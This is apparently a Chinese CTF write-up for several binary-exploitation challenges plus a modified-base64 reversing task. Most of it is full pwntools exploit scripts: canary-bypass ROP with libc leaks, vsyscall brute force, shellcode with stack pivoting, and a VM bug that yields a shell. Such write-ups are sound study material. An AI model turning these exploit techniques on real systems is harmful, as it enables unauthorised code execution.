【分析】:
主要代码如下:
存在数组越界漏洞,可以通过v4避免覆写canary,然后就是常规的rop chain来getshell。然而主要问题是如何让scanf返回 -1,才能让程序执行我们的rop chain。我开始尝试输入负数,想通过修改V4的值来发生一些异常。当我输入 -3时,向 &v5[-24] 随意写入数据后程序果然异常了。为了一探究竟,开始进行调试。
我将断点打在 0x400761,输入 -3 然后向其写入任意数据,程序断下后选择跟进
【EXP】:
#!/usr/bin/env python
# coding=utf-8
from pwn import*
#context.log_level=1
#p=process('./boring_canary')
p=remote('ctf.sksec.club',28092)
elf=ELF('./boring_canary',checksec=False)
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
libc=ELF('./libc.so',checksec=False)
pop_rdi=0x0000000000400813
pop_rsi=0x0000000000400811
def say(d,s):
p.send(d)
p.send(s)
p.recvuntil('canary\n')
say(str(131)+'\n','\x13\x08\x40'.ljust(8,'\x00')+'\n')#pop_rdi
say(str(132)+'\n','\xc8\x0f\x60'.ljust(8,'\0')+'\n')#puts_got
say(str(133)+'\n','\x8c\x05\x40'.ljust(8,'\0')+'\n')#puts_plt
say(str(134)+'\n','\xc7\x06\x40'.ljust(8,'\0')+'\n')#main
say(str(-3)+'\n','\x9f\x07\x40'.ljust(8,'\0')+'\n')
libc_base=u64(p.recv(6).ljust(8,'\0'))-libc.sym['puts']
one_addr=0x10a38c+libc_base
success('libc_base:'+hex(libc_base))
p.recvuntil('canary\n')
say(str(131)+'\n',p64(one_addr)+'\n')#pop_rdi
say(str(-3)+'\n','\x9f\x07\x40'.ljust(8,'\0')+'\n')
p.interactive()
【分析】:
这道题目的利用手法其实和hack game2019的impossible一模一样的,详见我的另篇博文
https://blog.csdn.net/qq_41252520/article/details/102765351
这里就不再分析了。
【EXP】:
#!/usr/bin/env python
# coding=utf-8
from pwn import*
while True:
try:
p=remote('39.105.216.123',9999)
pay='a'*0x28+p64(0xffffffffff600000)*24+p16(0x7A0)
p.send(pay)
p.interactive()
except EOFError:
p.close()
【分析】:
主要代码如下:
主要漏洞就是栈溢出,且只能溢出0x18个字节,所以考虑栈迁移。
然而尝试了通用的leave栈迁移发现函数返回到了错误的地址,原因是进行了ret;leave ret。
程序中还有一个ROPgadget是jmp rsp,考虑采用jmp rsp来进行栈迁移。
方法是首先保证shellcode的长度在0x28之内,如果超出会为后面的布置带来麻烦,但也不是不行。
然后整个栈的布置如图所示:
push 'flag'
lea rdi,[rsp]
xor rsi,rsi
mov al,2
syscall
mov rdi,rax
lea rsi,[rsp-0x80]
mov al,0
syscall
mov rdi,1
mov al,1
syscall
【EXP】:
#!/usr/bin/env python
# coding=utf-8
from pwn import*
context.arch='amd64'
context.os='linux'
#p=process('./whiteGivePwn')
p=remote('ctf.sksec.club',28008)
elf=ELF('./whiteGivePwn',checksec=False)
shellcode="\x68\x66\x6c\x61\x67\x48\x8d\x3c\x24\x48\x31\xf6\xb0\x02\x0f\x05\x48\x89\xc7\x48\x8d\x74\x24\x80\xb0\x00\x0f\x05\xbf\x01\x00\x00\x00\xb0\x01\x0f\x05"
shellcode=shellcode.ljust(0x28,'\x90')
jmp_rsp=asm('sub rsp,0x30;jmp rsp').ljust(8,'\x90')
pay=shellcode+p64(0x40098f)+jmp_rsp
p.sendafter('useful~',pay)
p.interactive()
【分析】:
opcode | call | description |
---|---|---|
1xy | func_1 | y<=0xc7 *s(x=101)=*s(y=101) 或 *s(x=101)=*byte_6030C0(y=102) *byte_6030C0(x=102)=*s(y=101) 或 *byte_6030C0(x=102)=*byte_6030C0(x=102) 否则 *s(x=101)=*y-200 或 *byte_6030C0(x=102)=*y-200 |
2xy | func_2 | y<=0xc7 *s(x=101)^=*s(y=101) 或 *s(x=101)^=*byte_6030C0(y=102) *byte_6030C0(x=102)^=*s(y=101) 或 *byte_6030C0(x=102)^=*byte_6030C0(x=102) 否则 *s(x=101)^=*y-200 或 *byte_6030C0(x=102)^=*y-200 |
3xy | func_3 | *s(x=101)+=*s(y=101) 或 *s(x=101)+=*byte_6030C0(y=102) *byte_6030C0(x=102)+=*s(y=101) 或 *byte_6030C0(x=102)+=*byte_6030C0(x=102) |
4xy | func_4 | *s(x=101)-=*s(y=101) 或 *s(x=101)-=*byte_6030C0(y=102) *byte_6030C0(x=102)-=*s(y=101) 或 *byte_6030C0(x=102)-=*byte_6030C0(x=102) |
5x | func_5 | s(x=101)++ 或者 byte_6030C0(x=102)++ |
6x | func_6 | s(x=101)-- 或者 byte_6030C0(x=102)– |
7 | func_7 | puts(s) puts(byte_6030C0) puts(index) |
8x | func_8 | *s(x=101)=qword_6020C0[(*index)–] 或 *byte_6030C0(x=102)=qword_6020C0[(*index)–] |
9x | func_9 | qword_6020C0[++(*index)]=*s(x=101) 或 qword_6020C0[++(*index)]=*byte_6030C0(x=102) |
【EXP】:
#!/usr/bin/env python
# coding=utf-8
from pwn import*
#context.log_level=1
#p=process('./mrrvm')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
p=remote('ctf.sksec.club',28061)
libc=ELF('libc6.so')
def Say(c,s):
p.sendlineafter('choice:\n',str(c))
if c==1:
p.sendline(s)
pay=(p64(8)+p64(101))*16+p64(7)+p64(255)
Say(1,pay)
Say(2,'')
leak=u64(p.recv(6).ljust(8,'\x00'))
libc_base=leak-libc.sym['atoi']
system=libc_base+libc.sym['system']
success('leak:'+hex(leak))
success('libc_base:'+hex(libc_base))
success('system:'+hex(system))
info('offset:'+hex((system^leak)+200))
pay=p64(2)+p64(101)+p64((system^leak)+200)+p64(255)
Say(1,pay)
Say(2,'')
pay=p64(9)+p64(101)+p64(255)
Say(1,pay)
Say(2,'')
p.send('/bin/sh')
p.interactive()
【分析】:
魔改的base64,这种题目见多了,一眼就看出来。
魔改的是字母表:
abcTUVdefghijkABOPQRSWXYZlmnCDLMNotuvwxyz012pqrs345EFGHIJK6789+/